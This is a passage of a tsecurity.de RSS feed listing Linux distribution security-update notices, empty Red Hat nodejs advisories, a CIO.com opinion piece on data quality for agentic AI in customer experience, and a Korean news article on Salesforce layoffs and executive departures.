<link>https://tsecurity.de/de/3297967/linux-tipps/security-updates-for-thursday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3297967/linux-tipps/security-updates-for-thursday/</guid>
<pubDate>Thu, 19 Feb 2026 15:21:54 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (edk2, glibc, gnupg2, golang, grafana, nodejs:24, and php), <b>Debian</b> (gimp and kernel), <b>Fedora</b> (fvwm3), <b>Mageia</b> (microcode and vim), <b>Oracle</b> (edk2, glibc, kernel, nodejs:24, and php), <b>Red Hat</b> (python-s3transfer), <b>SUSE</b> (abseil-cpp, avahi, azure-cli-core, fontforge, go1.24, go1.25, golang-github-prometheus-prometheus, libpcap, libsoup2, libxml2-16, mupdf, nodejs22, openCryptoki, openjpeg2, patch, python-aiohttp, python-Brotli, python-pip, python311-asgiref, rust1.93, and traefik), and <b>Ubuntu</b> (inetutils, libssh, linux-gcp, linux-gke, linux-hwe-6.8, linux-lowlatency-hwe-6.8, linux-intel-iotg-5.15, linux-xilinx-zynqmp, linux-lowlatency, linux-nvidia-lowlatency, and trafficserver).]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3294157/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3294157/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Tue, 17 Feb 2026 22:45:51 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3294156/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3294156/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Tue, 17 Feb 2026 22:45:50 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3294155/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3294155/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Tue, 17 Feb 2026 22:45:48 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3290340/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3290340/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Mon, 16 Feb 2026 08:01:04 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3290338/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3290338/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Mon, 16 Feb 2026 08:01:01 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3290337/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3290337/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Mon, 16 Feb 2026 08:01:00 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (firefox, gcc-toolset-14-binutils, nodejs:20, nodejs:22, nodejs:24, php:7.4, and python3.12), Debian (haproxy, nginx, postgresql-15, and postgresql-17), Fedora (libssh), Oracle (glib2, libsoup, nodejs:20, nodejs:22, and php:7.4), SUSE (assimp, gnutls...]]></description>
<link>https://tsecurity.de/de/3286520/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3286520/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 13 Feb 2026 15:08:24 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (firefox, gcc-toolset-14-binutils, nodejs:20, nodejs:22, nodejs:24, php:7.4, and python3.12), <b>Debian</b> (haproxy, nginx, postgresql-15, and postgresql-17), <b>Fedora</b> (libssh), <b>Oracle</b> (glib2, libsoup, nodejs:20, nodejs:22, and php:7.4), <b>SUSE</b> (assimp, gnutls, helm, kernel, kubevirt, virt-api-container, virt-controller-container, virt-exportproxy-container, virt-exportserver-container, virt-handler-container, virt-launcher-container, virt-libguestfs-t, libmunge2, libsodium, libsoup, micropython, munge, openCryptoki, python-azure-core, rust-keylime, rustup, sccache, snpguest, tcpreplay, xorg-x11-server, xrdp, and zabbix), and <b>Ubuntu</b> (dnsdist, dotnet8, dotnet9, dotnet10, haproxy, libpng1.6, linux-aws-5.15, linux-azure, linux-azure-fips, linux-oracle, linux-oracle-5.4, munge, nginx, and node-dottie).]]></content:encoded>
</item>
<item>
<title><![CDATA[CX, AI and the data trap: Why your best customers are slipping away]]></title>
<description><![CDATA[Millions spent on AI platforms. Flat retention. Your best customers are quietly walking out the door. The problem is not algorithms or effort; it is the data.



While many organizations focus on AI efficiency, a broader strategic shift is underway toward adaptive intelligence — a trend champione...]]></description>
<link>https://tsecurity.de/de/3283663/it-security-nachrichten/cx-ai-and-the-data-trap-why-your-best-customers-are-slipping-away/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3283663/it-security-nachrichten/cx-ai-and-the-data-trap-why-your-best-customers-are-slipping-away/</guid>
<pubDate>Thu, 12 Feb 2026 11:19:54 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Millions spent on AI platforms. Flat retention. Your best customers are quietly walking out the door. The problem is not algorithms or effort; it is the data.</p>



<p>While many organizations focus on AI efficiency, a broader strategic shift is underway toward <a href="https://www.ey.com/en_us/insights/cmo/adaptive-intelligence-in-customer-experience" rel="nofollow">adaptive intelligence</a> — a trend championed by leaders at EY and others. The future of CX is not about loud technology, but about quiet, real-time support that recognizes individual needs the moment they arise. Yet you cannot have adaptive intelligence if your data is static.</p>



<p>Previously, I explored <a href="https://www.cio.com/article/403386/data-supply-chain-transformation-aligning-to-win.html">the data supply chain as a foundational liability</a>; the rise of agentic AI has shifted the stakes. It is no longer enough to have a clean supply chain; it must now deliver real-time, contextual signals that allow AI to move beyond text prediction to a state of responsible autonomy — taking independent actions that reduce friction and create continuity.</p>



<h2 class="wp-block-heading">The root cause: The data trap</h2>



<p>Up to <a href="https://www.informatica.com/blogs/the-surprising-reason-most-ai-projects-fail-and-how-to-avoid-it-at-your-enterprise.html" target="_blank" rel="nofollow">40% of AI-enabled CX initiatives fail</a>. The CX tools themselves are rarely the problem; more of the challenge is the data feeding the tools. The data trap is the growing gap between the static master data IT manages and the real-time, experiential truth AI-enabled CX needs to actually work.</p>



<p>For decades, CIOs focused on master data management — centralized repositories, governance frameworks, golden records. The goal was to answer operational questions:</p>



<ul class="wp-block-list">
<li>Who is the customer?</li>



<li>What did they buy?</li>



<li>Is their address correct?</li>
</ul>



<p>Here is the trap: Believing this is enough for AI.</p>



<p>Agentic AI does not just need transactional truth. It needs experiential truth — answers to questions that shift from moment to moment:</p>



<ul class="wp-block-list">
<li>What is the customer trying to do right now?</li>



<li>Where did they hit friction on mobile or web?</li>



<li>What constraints or context apply in this exact moment?</li>
</ul>



<p>Feed AI only clean master data and you create artificial stupidity: The system knows a customer’s name, but not their intent. That is where experiences break down — and where your most valuable customers quietly leave.</p>



<h2 class="wp-block-heading">The agentic shift: From prediction to presence</h2>



<p>Modern CX strategy is moving away from static personas toward presence: understanding what an individual is trying to achieve in this exact moment.</p>



<p>Agentic AI is the engine that makes presence actionable by shifting from models that simply predict text to systems that can take independent actions toward a specific goal.</p>



<ul class="wp-block-list">
<li>The Predictive Era (old CX): AI identifies that a customer might churn based on past data — the trap of static records.</li>



<li>The Agentic Era (new CX): AI proactively intervenes to solve the problem in real time.</li>
</ul>



<p>If a flight is delayed, a traditional system sends a notification. An agentic system evaluates the passenger’s current location, final destination and travel preferences — and rebooks them before they reach the gate.</p>



<p>If your data models only capture that a customer is a platinum member but fail to capture that they are currently stuck in a loop on your mobile app, the AI agent cannot act. It is blind to their presence.</p>



<h2 class="wp-block-heading">The cost of the data trap: Financial reality</h2>



<p>Data acquisition and governance are expensive and CFOs often see them as infrastructure overhead. But that lens misses the point: The data trap silently leaks revenue.</p>



<p>Research from <a href="https://www.bain.com/insights/loyalty-effect-the-hidden-force-behind-growth-profits-and-loyalty-book/" target="_blank" rel="nofollow">Bain &amp; Company</a> and <a href="https://hbr.org/2014/10/the-value-of-keeping-the-right-customers" target="_blank" rel="nofollow">Harvard Business Review</a> shows that improving retention by just 5% can increase profits by 25%–95%. Lose customers because your data cannot keep up and that value is gone forever. The trap also drives operational waste: research shows <a href="https://www.resonate.cx/blog/how-reducing-friction-in-customer-service-boosts-loyalty-and-lowers-costs/" rel="nofollow">shifting from high-effort to low-effort experiences can reduce cost-to-serve by 20%–37%</a>.</p>



<p><strong>Economic contrast</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Caught in the Data Trap</strong></td><td><strong>Closing the Gap (Experiential Design)</strong></td></tr></thead><tbody><tr><td>High AI spend, low adoption</td><td>Targeted investment, high confidence</td></tr><tr><td>Journey resets, high friction</td><td>Continuous, fluid journeys</td></tr><tr><td>Rising support costs</td><td>Lower cost-to-serve</td></tr><tr><td>Revenue leakage</td><td>Revenue retention</td></tr></tbody></table> </div></figure>



<p>The question is not “Can we afford this data project?” It is: “Can we afford to let our best customers walk because our data could not keep up?”</p>



<h2 class="wp-block-heading">The escape route: The data-to-experience map</h2>



<p>CIOs can close the gap by mapping data to decisions, not systems.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/02/data-to-experience-map.png" alt="Data-to-experience Map" class="wp-image-4130916" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/02/data-to-experience-map.png?quality=50&amp;strip=all 522w, https://b2b-contenthub.com/wp-content/uploads/2026/02/data-to-experience-map.png?resize=150%2C150&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/02/data-to-experience-map.png?resize=300%2C300&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/02/data-to-experience-map.png?resize=168%2C168&amp;quality=50&amp;strip=all 168w, https://b2b-contenthub.com/wp-content/uploads/2026/02/data-to-experience-map.png?resize=84%2C84&amp;quality=50&amp;strip=all 84w, https://b2b-contenthub.com/wp-content/uploads/2026/02/data-to-experience-map.png?resize=480%2C480&amp;quality=50&amp;strip=all 480w, https://b2b-contenthub.com/wp-content/uploads/2026/02/data-to-experience-map.png?resize=360%2C360&amp;quality=50&amp;strip=all 360w, https://b2b-contenthub.com/wp-content/uploads/2026/02/data-to-experience-map.png?resize=250%2C250&amp;quality=50&amp;strip=all 250w" width="522" height="522" sizes="auto, (max-width: 522px) 100vw, 522px"></figure><p class="imageCredit">David Angelow</p></div>



<p>Ask:</p>



<ul class="wp-block-list">
<li>Which moments affect revenue?</li>



<li>What decisions must AI make in those moments?</li>



<li>What data does AI need to make those decisions safely?</li>
</ul>



<p><strong>Data-to-experience map</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>CX Moment</strong></td><td><strong>The Trap (Missing Data)</strong></td><td><strong>The Escape (Required Data)</strong></td></tr></thead><tbody><tr><td><strong>Reschedule</strong></td><td>AI offers generic slots</td><td>AI sees preferences and history</td></tr><tr><td><strong>Fraud Check</strong></td><td>AI blocks valid user</td><td>AI sees location and travel patterns</td></tr><tr><td><strong>Promotion</strong></td><td>AI offers out-of-stock item</td><td>AI sees real-time inventory</td></tr></tbody></table> </div></figure>



<p>Without this map, AI is flying blind. With it, CIOs provide a blueprint for retention.</p>



<h2 class="wp-block-heading">Grounding autonomy in data: Why trust matters</h2>



<p>As AI systems gain the ability to act independently, responsible autonomy becomes the new standard for trust. This is where the data trap becomes a strategic liability.</p>



<p>Agentic AI requires contextual guardrails to make safe decisions. Without real-time data on a customer’s current status — such as a pending fraud alert or a recent negative support interaction — an autonomous agent might offer an inappropriate promotion or make a promise the company cannot keep.</p>



<p>Trust is not built by the algorithm; it is built by the data that constrains it. Data is not only fuel for AI; it is the ethical and operational boundary that prevents an autonomous agent from creating a negative moment of truth (NMOT).</p>



<h2 class="wp-block-heading">How the data trap shows up in practice</h2>



<p>The NMOT is that split second when an AI agent either proves it knows you — or proves it does not.</p>



<h3 class="wp-block-heading">Banking: Omni-channel amnesia</h3>



<p>AI is deployed for proactive outreach, yet experiences reset across channels. A customer starts a mortgage application online, then the call-center assistant treats them as a stranger. <a href="https://thefinancialbrand.com/news/digital-marketing-banking/the-omnichannel-gap-is-growing-faster-than-banks-can-close-it-19374/" target="_blank" rel="nofollow">56% of customers repeat themselves due to disconnected channels; 62% want smooth transitions but banks fail to deliver</a>.</p>



<p>Result: Frustration and lost business.</p>



<h3 class="wp-block-heading">Healthcare: Context silo</h3>



<p>AI scheduling is live, but clinical and admin data remain siloed. Patients must re-explain sensitive symptoms to a bot that does not know them. <a href="https://authenticx.com/resources/improve-patient-scheduling-and-access-to-care-with-ai/" target="_blank" rel="nofollow">AI scheduling fails when not integrated with full patient context</a>, creating friction that drives patients to bypass digital channels entirely.</p>



<p>Result: Increasing risk and call volume.</p>



<h3 class="wp-block-heading">Retail: The inventory disconnect</h3>



<p>AI-powered personalization delivers promotions, but marketing data is not linked to supply chain. <a href="https://thewisemarketer.com/retailers-vs-reality-report-finds-disconnect-between-retail-tech-investments-and-shopper-demands/" target="_blank" rel="nofollow">51% of retailers lack real-time inventory visibility, yet consumers rank inventory as a top friction point</a>. Customers receive exclusive offers for out-of-stock items.</p>



<p>Result: Trust erodes instantly.</p>



<h2 class="wp-block-heading">The CIO’s mandate: Close the gap</h2>



<p>If your best customers are leaving, the fix is not a better AI model — it is better data design. Agentic AI cannot reduce friction, build trust or create continuity without data built intentionally for those outcomes.</p>



<p>Shift governance from block to enable. Traditional governance is defensive. To support <a href="https://www.mckinsey.com/capabilities/growth-marketing-and-sales/our-insights/experience-led-growth-a-new-way-to-create-value" target="_blank" rel="nofollow">experience-led growth</a>, governance must empower flow — ensuring privacy and security without suffocating real-time access across silos.</p>



<p>Audit processes for data exhaust. Operational processes that do not naturally produce the data AI needs are traps. CIOs must redesign processes, so every interaction captures intent and outcomes — turning data exhaust into fuel for the next experience.</p>



<p>Tie data spend to friction reduction. Stop framing data projects as modernization. Frame them as churn prevention and cost-to-serve reduction. That is a language the board already understands.</p>



<h2 class="wp-block-heading">The bottom line</h2>



<p>The data trap is not solved by better algorithms or more governance theater. It is solved by treating data as a product — managed in real time, with the right talent for agentic systems. Data is the experience. Closing the gap between static records and experiential truth is the highest-leverage move a CIO can make to turn AI from a cost center into a growth engine.</p>



<p>Diagnostic: Are you in the trap?</p>



<ul class="wp-block-list">
<li>Do your data models capture intent or just transactions?</li>



<li>Can your AI access cross-channel history in real time to prevent journey resets?</li>



<li>Is your governance focused on blocking risk or enabling flow?</li>
</ul>



<p>If you cannot answer yes to all three, you are likely in the trap — and your best customers know it. The good news: This is a trap you can engineer your way out of.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Wednesday]]></title>
<description><![CDATA[Security updates have been issued by Debian (kernel, linux-6.1, munge, and tcpflow), Fedora (accel-ppp, atuin, babl, bustle, endless-sky, envision, ettercap, fapolicy-analyzer, firefox, glycin, gnome-settings-daemon, go-fdo-client, greenboot-rs, greetd, helix, hwdata, keylime-agent-rust, kiwi, li...]]></description>
<link>https://tsecurity.de/de/3281837/linux-tipps/security-updates-for-wednesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3281837/linux-tipps/security-updates-for-wednesday/</guid>
<pubDate>Wed, 11 Feb 2026 15:08:38 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (kernel, linux-6.1, munge, and tcpflow), <b>Fedora</b> (accel-ppp, atuin, babl, bustle, endless-sky, envision, ettercap, fapolicy-analyzer, firefox, glycin, gnome-settings-daemon, go-fdo-client, greenboot-rs, greetd, helix, hwdata, keylime-agent-rust, kiwi, libdrm, maturin, mirrorlist-server, ntpd-rs, ogr2osm, open-vm-tools, perl-App-Cme, perl-Net-RDAP, perl-rdapper, polymake, python-requests-ratelimiter, python-tqdm, rust-add-determinism, rust-afterburn, rust-ambient-id, rust-app-store-connect, rust-bat, rust-below, rust-btrd, rust-busd, rust-bytes, rust-cargo-c, rust-cargo-deny, rust-coreos-installer, rust-crypto-auditing-agent, rust-crypto-auditing-client, rust-crypto-auditing-event-broker, rust-crypto-auditing-log-parser, rust-dua-cli, rust-eif_build, rust-git-delta, rust-git-interactive-rebase-tool, rust-git2, rust-gst-plugin-dav1d, rust-gst-plugin-reqwest, rust-heatseeker, rust-ingredients, rust-jsonwebtoken, rust-lsd, rust-monitord, rust-monitord-exporter, rust-muvm, rust-nu, rust-num-conv, rust-onefetch, rust-oo7-cli, rust-pleaser, rust-pore, rust-pretty-git-prompt, rust-procs, rust-rbspy, rust-rbw, rust-rd-agent, rust-rd-hashd, rust-redlib, rust-resctl-bench, rust-resctl-demo, rust-routinator, rust-sccache, rust-scx_layered, rust-scx_rustland, rust-scx_rusty, rust-sequoia-chameleon-gnupg, rust-sequoia-keystore-server, rust-sequoia-octopus-librnp, rust-sequoia-sq, rust-sevctl, rust-shadow-rs, rust-sigul-pesign-bridge, rust-speakersafetyd, rust-tealdeer, rust-time, rust-time-core, rust-time-macros, rust-tokei, rust-weezl, rust-wiremix, rust-ybaas, rustup, sad, strawberry, systemd, tbtools, transmission, trustedqsl, tuigreet, uv, and vdr-extrecmenung), <b>Oracle</b> (brotli, git-lfs, java-1.8.0-openjdk, kernel, libsoup, libsoup3, nodejs:24, python3.12, and thunderbird), <b>Red Hat</b> (fence-agents, python-urllib3, python3.11-urllib3, python3.12-urllib3, and resource-agents), <b>SUSE</b> (avahi, cups, freerdp, golang-github-prometheus-prometheus, java-11-openjdk, java-17-openjdk, libsoup2, libxml2, and python-pip), and <b>Ubuntu</b> (expat, glib2.0, and imagemagick).]]></content:encoded>
</item>
<item>
<title><![CDATA[잇따른 경영진 이탈에도…세일즈포스, 추가 감원 단행]]></title>
<description><![CDATA[세일즈포스가 추가 인력 감축에 나섰다. 클라우드 기반 CRM 소프트웨어 기업인 세일즈포스는 경영진 이탈이 지속되는 가운데 에이전트포스(Agentforce)와 같은 AI 기반 서비스 확장에 집중하기 위해 내부 조직을 재정비하고 있다.



비즈니스 인사이더는 사안에 정통한 직원들의 말을 인용해, 세일즈포스가 이달 초 마케팅, 제품 관리, 데이터 분석, 에이전트포스 AI 조직 등 여러 부문에서 약 1,000개에 가까운 직무를 줄였다고 보도했다.



AI 재편과 연계된 인력 감축



세일즈포스는 지난 2년간 여러 차례 감원을 단...]]></description>
<link>https://tsecurity.de/de/3280597/it-security-nachrichten//</link>
<guid isPermaLink="true">https://tsecurity.de/de/3280597/it-security-nachrichten//</guid>
<pubDate>Wed, 11 Feb 2026 03:34:51 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>세일즈포스가 추가 인력 감축에 나섰다. 클라우드 기반 CRM 소프트웨어 기업인 세일즈포스는 경영진 이탈이 지속되는 가운데 <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html" target="_blank">에이전트포스(Agentforce)</a>와 같은 AI 기반 서비스 확장에 집중하기 위해 내부 조직을 재정비하고 있다.</p>



<p><a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2" target="_blank" rel="nofollow">비즈니스 인사이더</a>는 사안에 정통한 직원들의 말을 인용해, 세일즈포스가 이달 초 마케팅, 제품 관리, 데이터 분석, 에이전트포스 AI 조직 등 여러 부문에서 약 1,000개에 가까운 직무를 줄였다고 보도했다.</p>



<h2 class="wp-block-heading">AI 재편과 연계된 인력 감축</h2>



<p>세일즈포스는 지난 2년간 여러 차례 감원을 단행하며 전체 인력을 줄여왔다. 최근에는 AI 전략과 연계된 분야에서 신규 채용 여력을 확보하기 위해 조직 규모를 조정하는 데 초점을 맞추고 있다.</p>



<p>지난해 2월 <a href="https://www.bloomberg.com/news/articles/2025-02-04/salesforce-cutting-1-000-roles-while-hiring-salespeople-for-ai" target="_blank" rel="nofollow">블룸버그</a>는 세일즈포스가 2024년 말 출시한 에이전트포스와 같은 AI 서비스를 강화하기 위해 최대 1,000개 직무를 감축할 계획이라고 보도했다.</p>



<p>이 같은 구조조정 결정은 팬데믹 기간 동안 세일즈포스의 직원 수가 5만 명에서 7만 9,000명으로 급격히 증가하자, 회사가 채용을 과도하게 진행했다는 점을 <a href="https://www.sec.gov/Archives/edgar/data/1108524/000110852423000003/ex991-lettertoemployees.htm" target="_blank" rel="nofollow">인정</a>한 뒤에 이뤄졌다.</p>



<p>세일즈포스는 2023년 초 구조조정 계획의 일환으로 전체 인력의 약 10%에 해당하는 약 8,000명을 감원하고 일부 사무실을 폐쇄하기로 결정한 바 있다. 또한 지난 2022년 11월에도 약 950명의 직원을 감원했다.</p>



<p>포레스터의 부사장 겸 수석 애널리스트 <a href="https://www.forrester.com/analyst-bio/charlie-dai/BIO5344" target="_blank" rel="nofollow">찰리 다이</a>는 이번 추가 감원이 AI와 자동화가 사람의 업무를 대체하고 있음을 분명히 보여주는 사례라고 분석했다.</p>



<p>다이는 “자동화가 확대되면서 마케팅, 제품, 데이터, 에이전트포스 조직이 영향을 받았다. 코딩 보조 도구와 AI 기반 개발 워크플로의 확산은 전통적인 역할은 물론 기존 SaaS 애플리케이션에 대한 수요까지 낮추고 있다”라고 설명했다.</p>



<p>이 같은 분석은 세일즈포스가 지난해 9월, 고객 서비스 조직의 인력을 45% 줄여 해당 팀 규모를 9,000명에서 4,000명으로 축소한 결정과도 맞닿아 있다.</p>



<h2 class="wp-block-heading">구조적 전환의 신호인 경영진 이탈</h2>



<p>대규모 인력 감축은 일부 변화에 불과하다. 세일즈포스에서는 최근 몇 달 동안 고위 경영진의 이탈이 이어지고 있으며, 가장 최근에는 에이전트포스 개발을 담당하는 세일즈포스 AI 조직의 EVP 겸 GM이었던 애덤 에번스가 퇴사했다.</p>



<p>에번스는 지난 7일 <a href="https://www.linkedin.com/posts/aevans342_after-an-incredible-few-years-at-salesforce-activity-7426366598770221057-8VOv?utm_source=share&amp;utm_medium=member_desktop&amp;rcm=ACoAAAMa9NkBGSjtom2jcCKydvtCDbUnJFbAPPM" target="_blank" rel="nofollow">링크드인 게시글</a>에서, 스타트업 창업에 집중하는 새로운 단계로 나아가기 위해 세일즈포스를 떠나기로 결정했다고 밝혔다.</p>



<p>세일즈포스의 태블로(Tableau) 조직을 이끌던 <a href="https://www.linkedin.com/in/ryanaytay/" target="_blank" rel="nofollow">라이언 아이터이</a>도 지난주 퇴사를 발표했으며, 슬랙의 CEO였던 <a href="https://www.linkedin.com/in/denisedresser/" target="_blank" rel="nofollow">데니스 드레서</a>는 지난해 12월 오픈AI의 최고매출책임자 역할을 맡기 위해 회사를 떠났다.</p>



<p>에버레스트 그룹의 파트너 <a href="https://in.linkedin.com/in/yugal-joshi-5740a92" target="_blank" rel="nofollow">유갈 조시</a>는 과거 세일즈포스에 인수된 조직을 이끌고 회사 전반과의 통합을 담당했던 핵심 경영진이 이탈하는 상황에 대해, AI 에이전트의 급부상으로 SaaS 벤더 전반에 압박이 커지는 가운데 세일즈포스가 구조적인 전환 과정을 겪고 있다는 신호라고 분석했다.</p>



<p>조시는 “전환 과정에서는 고위 리더 간 전략적 방향에 대한 인식 차이로 일정 수준의 이탈이 발생하는 일이 적지 않다. 일부 리더는 대기업 퇴사 후 더 혁신적인 회사를 만들 수 있다고 판단하기도 한다”라고 설명했다.</p>



<p>이어 그는 “업계 전반에서 시니어 리더를 영입하기 위한 경쟁이 이뤄지고, 일부는 자체적인 이니셔티브를 추진하기 위해 회사를 떠나는 흐름이 트렌드로 자리 잡을 가능성이 있다”라며 “엔터프라이즈 애플리케이션에 에이전틱 AI를 실현하는 데 초기 시행착오를 겪는 경우도 리더십 이직을 초래할 수 있다”라고 말햇다.</p>



<p>세일즈포스는 최근 몇 달간 에이전트포스 전략 재조정으로 인해 CIO와 기업의 AI 도입 일정에 영향을 준다는 이유로 <a href="https://www.cio.com/article/4113617/salesforces-agentforce-recalibration-raises-costs-and-complexity-for-cios.html" target="_blank">분석가들의 비판</a>을 받아왔다.</p>



<p>세일즈포스는 아직 라이언 아이터이의 후임을 발표하지 않았지만, 에번스의 후임으로는 세일즈포스 AI 조직의 전 COO였던 마드하브 타타이를 선임했다.</p>



<p>이와 함께 드레서의 업무는 슬랙의 CPO였던 <a href="https://www.linkedin.com/in/seamanrob/" target="_blank" rel="nofollow">롭 시먼</a>이 넘겨받았지만, 직책은 CEO가 아닌 슬랙 EVP 겸 GM으로 제한됐다.</p>



<p>타타이와 시먼은 모두 세일즈포스 최고디지털책임자인 <a href="https://www.businessinsider.com/salesforce-appoints-new-leaders-executive-reshuffle-2026-2" target="_blank" rel="nofollow">조 인제릴로</a>에게 보고하게 된다. 인제릴로는 엔터프라이즈 및 AI 기술 부문 사장으로 역할이 확대되면서 슬랙과 에이전트포스 플랫폼을 총괄하게 됐다.</p>



<p>이 밖에도 눈에 띄는 인사 변화로는 구글에서 합류한 <a href="https://www.linkedin.com/in/iainmulholland/" target="_blank" rel="nofollow">이안 멀홀랜드</a>가 최고보안책임자를 맡은 점이 있다. 멀홀랜드는 구글 클라우드와 기술 인프라 부문에서 부CISO를 지냈다.</p>



<p>멀홀랜드는 1월 말 <a href="https://www.linkedin.com/feed/update/urn:li:activity:7424266971061596160/" target="_blank" rel="nofollow">퇴사</a>한 <a href="https://www.linkedin.com/in/brad-arkin/" target="_blank" rel="nofollow">브래드 아킨</a>의 뒤를 이었다. 또한 세일즈포스는 최고마케팅책임자(CMO)로 베테랑인 <a href="https://www.linkedin.com/in/patricks/" target="_blank" rel="nofollow">패트릭 스토크스</a>를 새롭게 선임했다. 기존 CMO였던 <a href="https://www.linkedin.com/in/arielkelman/" target="_blank" rel="nofollow">아리엘 켈먼</a>은 AMD로 자리를 옮긴 것으로 전해졌다.<br>dl-ciokorea@foundryco.com</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[World’s Most Advanced Hackers are in Russia and Eastern Europe]]></title>
<description><![CDATA[At Infosecurity Europe 2014, Eleanor Dallaway caught up with Ross Brewer, vice president and managing director for international markets, and Mike Reagan, CMO at LogRhythm to talk insider threats, and the global threat landscape…]]></description>
<link>https://tsecurity.de/de/3268740/it-security-nachrichten/worlds-most-advanced-hackers-are-in-russia-and-eastern-europe/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3268740/it-security-nachrichten/worlds-most-advanced-hackers-are-in-russia-and-eastern-europe/</guid>
<pubDate>Fri, 06 Feb 2026 14:07:10 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[At Infosecurity Europe 2014, Eleanor Dallaway caught up with Ross Brewer, vice president and managing director for international markets, and Mike Reagan, CMO at LogRhythm to talk insider threats, and the global threat landscape…]]></content:encoded>
</item>
<item>
<title><![CDATA[Ivanti Appoints Melissa Puls as New SVP and CMO]]></title>
